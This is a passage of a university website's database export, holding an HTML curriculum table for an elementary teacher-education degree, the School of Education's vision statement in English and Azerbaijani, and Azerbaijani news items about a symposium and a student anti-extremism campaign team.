style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td rowspan=\"2\" class=\"xl104\" width=\"252\" style=\"width:189pt;font-size:large\"><strong>Spring</strong></td>\r\n  <td rowspan=\"2\" class=\"xl104\" width=\"33\" style=\"width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" width=\"166\" style=\"width:125pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl65\" style=\"height:15.0pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">ENGL 103</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Academic\r\n  English</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">4</td>\r\n  <td class=\"xl67\" style=\"border-top:none;border-left:none\">ENGL 102</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">ENGL 216</td>\r\n  <td class=\"xl70\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">English\r\n  for Special Purposes</td>\r\n  <td class=\"xl70\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">ENGL 103</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl71\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">PHIL 101</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Introduction\r\n  to Philosophy (humanitar-1)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">PHIL 110</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Philosophy\r\n  of Culture (humanitar-2)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl72\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">PSYC 101</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Introduction\r\n  to Psychology. Child Development</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">ART 231</td>\r\n  <td class=\"xl93\">Painting and Art Education</td>\r\n  <td class=\"xl70\" width=\"33\" style=\"border-top:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">SCI 101</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">Science of Earth and\r\n  Space</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">LIT 201</td>\r\n  <td class=\"xl97\" style=\"border-left:none\">World Children Literature</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n </tr>\r\n <tr height=\"56\" style=\"height:42.0pt\">\r\n  <td height=\"56\" class=\"xl69\" style=\"height:42.0pt;border-top:none\">AZLL 206</td>\r\n  <td class=\"xl67\" style=\"border-top:none;border-left:none\">Modern Azerbaijanian\r\n  Language-3</td>\r\n  <td class=\"xl67\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">AZLL 108</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">SPH 202</td>\r\n  <td class=\"xl94\">Basics of Speech Habits</td>\r\n  <td class=\"xl70\" width=\"33\" style=\"border-top:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl75\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 217</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-left:none;width:189pt\">Special\r\n  Education (<strong><em>elective-1</em></strong>)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Credit</strong></td>\r\n  <td class=\"xl81\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">16</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl82\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Credit</strong></td>\r\n  <td class=\"xl81\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl98\" style=\"height:15.0pt\"><h3><strong>3<sup>rd</sup> year</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl64\" style=\"height:15.75pt;font-size:large\"><strong>CODE</strong></td>\r\n  <td class=\"xl76\" width=\"216\" style=\"border-left:none;width:162pt;font-size:large\"><strong>Fall</strong></td>\r\n  <td class=\"xl76\" width=\"46\" style=\"border-left:none;width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl66\" width=\"140\" style=\"border-left:none;width:105pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n  <td class=\"xl65\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td class=\"xl64\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td class=\"xl76\" width=\"252\" style=\"border-left:none;width:189pt;font-size:large\"><strong>Spring</strong></td>\r\n  <td class=\"xl76\" width=\"33\" style=\"border-left:none;width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl66\" width=\"166\" style=\"border-left:none;width:125pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">MATH 223</td>\r\n  <td class=\"xl93\">Math for Elementary Teachers-1</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;width:35pt\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 306</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Historical\r\n  and Philosophical Foundations of Education</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LAW 226</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-left:none;width:162pt\">Human Rights\r\n  (<strong><em>social-1</em></strong>)</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 496</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Classroom\r\n  Management (<strong><em>elective-3</em></strong>)</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">MED 315</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Basics\r\n  of Medical Knowledge</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 329</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Life\r\n  Science</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">PSYCH 304</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Basics\r\n  of Educational Psychology</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">EDU&nbsp; 101</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">MATH 224</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Math\r\n  for Elementary Teachers-2</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">MATH\r\n  223</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl74\" width=\"86\" style=\"height:30.0pt;width:65pt\">EDU 381</td>\r\n  <td class=\"xl74\" width=\"216\" style=\"border-left:none;width:162pt\">Elementary\r\n  School Music Methods (<strong><em>elective-2</em></strong>)</td>\r\n  <td class=\"xl74\" width=\"46\" style=\"border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl74\" width=\"140\" style=\"border-left:none;width:105pt\">EDU 101</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 302</td>\r\n  <td class=\"xl94\">Curriculum and Assessment Strategies</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;width:25pt\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">MGT 410</td>\r\n  <td class=\"xl85\" style=\"border-left:none\">Organisational Behaviour (<strong><em>social-2</em></strong>)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Credit</strong></td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">15</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl82\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Credit</strong></td>\r\n  <td class=\"xl66\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl99\" style=\"height:15.0pt\"><h3><strong>4<sup>th</sup> year</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl64\" style=\"height:15.75pt;font-size:large\"><strong>CODE</strong></td>\r\n  <td class=\"xl76\" width=\"216\" style=\"border-left:none;width:162pt;font-size:large\"><strong>Fall</strong></td>\r\n  <td class=\"xl83\" width=\"46\" style=\"border-left:none;width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl66\" width=\"140\" style=\"border-left:none;width:105pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n  <td class=\"xl65\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td class=\"xl64\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td class=\"xl83\" width=\"252\" style=\"border-left:none;width:189pt;font-size:large\"><strong>Spring</strong></td>\r\n  <td class=\"xl83\" width=\"33\" style=\"border-left:none;width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td class=\"xl66\" width=\"166\" style=\"border-left:none;width:125pt;font-size:large\"><strong>Prerequisite</strong></td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl71\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">EDU 327</td>\r\n  <td class=\"xl95\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Elementary\r\n  Mathematics Education&nbsp;</td>\r\n  <td class=\"xl73\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">MATH\r\n  224</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 408</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Active\r\n  Internship</td>\r\n  <td class=\"xl73\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">6</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">EDU 101, EDU 302</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 403</td>\r\n  <td class=\"xl93\">Methods of Teaching Mother Tongue</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;width:35pt\">3</td>\r\n  <td class=\"xl70\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">EDU\r\n  101</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 428</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Computer\r\n  Applications&nbsp; in Education&nbsp;</td>\r\n  <td class=\"xl73\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">CMS 101, EDU 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl71\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 407</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-left:none;width:162pt\">Passive\r\n  Practicum</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">6</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">EDU 101, EDU 302</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 495</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Teaching\r\n  Methods (<strong><em>elective-5</em></strong>)</td>\r\n  <td class=\"xl73\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">EDU 101</td>\r\n </tr>\r\n <tr height=\"40\" style=\"height:30.0pt\">\r\n  <td height=\"40\" class=\"xl71\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">EDU 408</td>\r\n  <td class=\"xl86\" width=\"216\" style=\"width:162pt\">Methods of Teaching Literature\r\n  (<strong><em>elective-4</em></strong>)</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">3</td>\r\n  <td class=\"xl65\">EDU 101</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none\">EDU 411</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">Educational\r\n  Administration (<strong><em>elective-6</em></strong>)</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl75\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl75\" style=\"border-left:none\">&nbsp;</td>\r\n  <td class=\"xl65\">&nbsp;</td>\r\n  <td class=\"xl71\" width=\"83\" style=\"border-top:none;width:62pt\">EDU 475</td>\r\n  <td class=\"xl96\">Basics of Hygiene and Sanitation</td>\r\n  <td class=\"xl73\" width=\"33\" style=\"border-top:none;width:25pt\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none\">None</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Credit</strong></td>\r\n  <td class=\"xl84\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">15</td>\r\n  <td class=\"xl71\" width=\"140\" style=\"border-top:none;border-left:none;width:105pt\">&nbsp;</td>\r\n  <td class=\"xl82\">&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl92\" width=\"252\" style=\"border-left:none;width:189pt\">Credit</td>\r\n  <td class=\"xl84\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">18</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl87\" style=\"height:15.75pt\"></td>\r\n  <td class=\"xl88\"><strong>General</strong></td>\r\n  <td class=\"xl89\" style=\"text-align:right\">132</td>\r\n  <td class=\"xl90\"></td>\r\n  <td class=\"xl88\"></td>\r\n  <td class=\"xl88\"></td>\r\n  <td class=\"xl88\"></td>\r\n  <td class=\"xl88\"></td>\r\n  <td class=\"xl91\"><br></td></tr></tbody></table>'),(893,588,'en','Vision','Vision','<p>Our vision&nbsp;is to be an educational institution that prepares professional teachers who can intellectually engage with all fields, from science and technology to fine arts; who maintain a good reputation in society; who understand the needs and requirements of the work world; who are capable of adaptation to the global education system; and who understand that high quality and effective education is an important factor in the development and the dynamics of the country\'s economy.&nbsp;</p><p>The School of Education provides a solid education for teachers who will be able to&nbsp; implement&nbsp; the priorities of the mission and vision in every stage of education, beginning from elementary education, and will be able to carry the responsibility of raising future generations. Having grown from its beginnings in 2003, when it started with the Pedagogy and Methodology of Elementary Education program, our School now provides 6 concentrations in bachelor programs and 5 concentrations in master and PhD programs.&nbsp;</p><p>The School is engaged with professional personnel training and scientific research, including&nbsp; developing additional education and professional development programs which have an important role in the education policy and education strategy. It also organizes regular training programs for active teachers’ continuing education.&nbsp;</p>'),(894,588,'az','Baxışımız','Baxışımız','<p>Baxışımız ölkənin iqtisadi inkişafında və dinamikasında keyfiyyətli və effektiv təhsilin mühim bir faktor olduğunu mənimsəyən, dünya təhsil sisteminə adaptasya edə bilən,&nbsp; iş dünyasının&nbsp; ehtiyac və tələblərini ödəyən, cəmiyyətdə xüsusi nüfuzu olan şəxsiyyətli,&nbsp; elm və texnologiyadan tutmuş incəsənətə qədər hər sahədə intellektual kimliyə sahib peşəkar müəllim hazırlayan təhsil müəssisələrindən biri olmaqdır.&nbsp;</p><p>Təhsil fakültəsi ibtidai təhsildən başlayaraq təhsilin hər pilləsində missiyasinda və vizyonunda əks olunan prioritetləri həyata keçirəcək və gələcək nəsillərin məsuliyyətini daşıya biləcək müəllimlərə bu sahədə yaxşı təhsilalma imkanı verir. 2003-cü ildə İbtidai təhsilin metodikası və pedaqogikası proqramı ilə fəaliyyətə başlayan faklütəmizdə bu gün 6 ixtisasda bakalavr, 5 ixtisasda magistr və doktorantura təhsili verilir.&nbsp;</p><p>Fakültə peşəkar kadr hazırlığı, elmi tədqiqatlarla yanaşı, ölkənin təhsil siyasətində və strategiyasında mühim yer tutan əlavə təhsil və ixtisasartırma proqramlarının hazırlanması və müəllimlərin əmək fəaliyyəti müddətində mütəmadi təlimlərinin təşkili ilə də məşğul olur.&nbsp;</p>'),(895,589,'az','Nəşrlər','Nəşrlər',''),(1820,1125,'az','Universitetin əməkdaşları simpoziumda çıxış etdilər','2016-cı il mayın 12-dən 14-dək Türkiyənin Kastamonu Universitetində Azərbaycan Turizm və Menecment Universiteti ilə birlikdə “I Millətlərarası Türkiyə-Azərbaycan münasibətləri simpoziumu” adlı tədbir təşkil olunmuşdu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il mayın 12-dən 14-dək Türkiyənin\r\nKastamonu Universitetində Azərbaycan Turizm və Menecment Universiteti ilə\r\nbirlikdə “I Millətlərarası Türkiyə-Azərbaycan münasibətləri simpoziumu” adlı tədbir\r\ntəşkil olunmuşdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Simpoziumda Türkiyə və Azərbaycanın müxtəlif\r\nuniversitetlərindən alim və tədqiqatçıları iştirak edirdilər. Xəzər\r\nUniversiteti Dillər və mədəniyyətlər departamentinin müəllimləri f.f.d. Zivər\r\nHüseynli və i.f.d. Elnurə Əzizova da həmin simpoziuma dəvət olunmuşdular. Z.Hüseynli\r\n“Türkiyədə Güney Azərbaycan şairləri”, Elnurə Əzizova isə “Geleneksəl və modernin\r\nqovşağında (və ya ümmətdən millətə keçiş dövründə) Azərbaycanda Türk-Müsəlman\r\nkimliyinin meydana çıxmasnda Türkiyənin təsiri: “Füyuzat” jurnalı (1906-1907)\r\nnümunəsində” adlı məruzələri ilə çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Simpoziumun sonunda iştirakçılara sertifikat\r\nvə hədiyyələr təqdim edilmişdir.&nbsp;</p>'),(1821,1126,'az','Xəzər Universitetinin “Imagine” komandası ekstremizmə qarşı beynəlxalq müsabiqənin qalibləri sırasında','Xəzər Universitetinin P2P: Ekstremizmə qarşı Mübarizə Proqramında iştirak edən “Imagine” komandasının ən yaxşı 6 finalçıdan ','<p style=\"margin-bottom:0.0001pt;text-align:justify;text-indent:0.25in\">Xəzər Universitetinin “Imagine” komandası P2P: Ekstremizmə qarşı\r\nMübarizə Proqramında iştirakları çərçivəsində hazırladıqları və həyata\r\nkeçirdikləri marketinq kampaniyası ilə top 6 finalçıdan biri seçildi. Gənclər\r\nüçün olan bu qlobal təşəbbüsün və beynəlxalq müsabiqənin 2016-cı ilin yaz\r\ndövründə dünyanın 30 ölkəsindən 100 universitet iştirak edirdi. Bu il Azərbaycandan\r\nbu müsabiqəyə 2 universitet qoşuldu.</p>\r\n<p>Seçilən top 6 finalçı 2016-cı ilin iyununda öz\r\nkampaniyalarını ABŞ-da (Washington, D.C.) təqdim edəcəklər. Altı komanda ABŞ\r\nDövlət Departamenti və <em>Facebook </em>&nbsp;şirkətini təmsil edən iki münsiflər\r\nheyəti tərəfindən seçildi. Hər iki münsiflər heyəti təqaüd üçün bir-birləri ilə\r\nyarışan üç komanda seçdi. </p>\r\n<p>Xəzər Universitetinin “Imagine” komandası ABŞ Dövlət\r\nDepartamenti tərəfindən seçilmişdir və kampaniyalarını 2016-cı il iyunun 27-də\r\nBelçika və ABŞ-dan olan iki unversitet komandasına qarşı baş dövlət rəsmilərinə\r\ntəqdim edəcəklər. </p>\r\n<p>Bir-birlərinə qarşı yarışan digər üç komanda isə\r\nƏfqanıstan, Belçika və Niderlanddan olan universitetləri təmsil edir. Bu\r\nkomandalar isə kampaniyalarını Facebook rəhbərliyinə təqdim edəcəklər.</p>\r\n<p>“Imagine” komandasının üzvləri İqtisadiyyat və\r\nmenecment fakültəsinin 9 tələbəsidir və marketinq fənninin müəllimi Sana İmran\r\nkomandaya rəhbərlik edir. Komanda üzvlərinə daxildirlər: Əlihüseyn Ağayev\r\n(menecment), Dinarə Katibli (mühasibat və audit), Erlan İsmayılov (maliyyə),\r\nKamilla Lətifova (marketinq), Nadir Qədirli (maliyyə), Nərmin Abbasova\r\n(mühasibat və audit), Nərmin Zari (biznesin idarə edilməsi), Süleyman Yagizarov\r\n(maliyyə) və Ülviyyə Əzizova (maliyyə).</p>\r\n<p>P2P: Ekstremizmə qarşı Mübarizə Proqramı ABŞ Dövlət\r\nDepartamenti tərəfindən dəstəklənən və marketinq şirkəti olan EdVenture\r\nPartners (EVP) tərəfindən həyata keçirilən universitet gəncləri üçün olan\r\nqlobal təşəbbüs və beynəlxalq müsabiqədir. Bu proqram sahibkarlıq və dövlət\r\nagentlikləri üçün universitet tələbələri və müəllimləri ilə ünsiyyət qurmaq və\r\nreal nəticələri olan, tələbələrə əsl praktiki bilik verən proqram vasitəsilə\r\ngerçək problemlərin həllinə onları cəlb etmək&nbsp; üçün innovativ və effektiv\r\nyol təmin edir. Proqram haqqında ətraflı məlumat aşağıdakı linklərdən əldə\r\noluna bilər:</p>\r\n<p>ABŞ Dövlət Departamentinin vebsaytı: <a href=\"http://eca.state.gov/video/p2p-challenging-extremism\">http://eca.state.gov/video/p2p-challenging-extremism</a></p>\r\n<p>EdVenture Partners şirkətinin vebsaytı: <a href=\"http://edventurepartners.com/peer2peer/\">http://edventurepartners.com/peer2peer/</a></p>\r\n<p>Biz komandamızla fəxr edirik və ABŞ-da edəcəkləri təqdimatda onlara\r\nçoxlu uğurlar arzu edirik. İrəli, “Imagine” komandası!</p>  <p><a href=\"http://www.khazar.org/en/news/article/1022\"></a>  </p>'),(896,589,'en','Publications','Publications',''),(1823,1128,'az','Diplomat “Beşliyin ən kiçiyi” 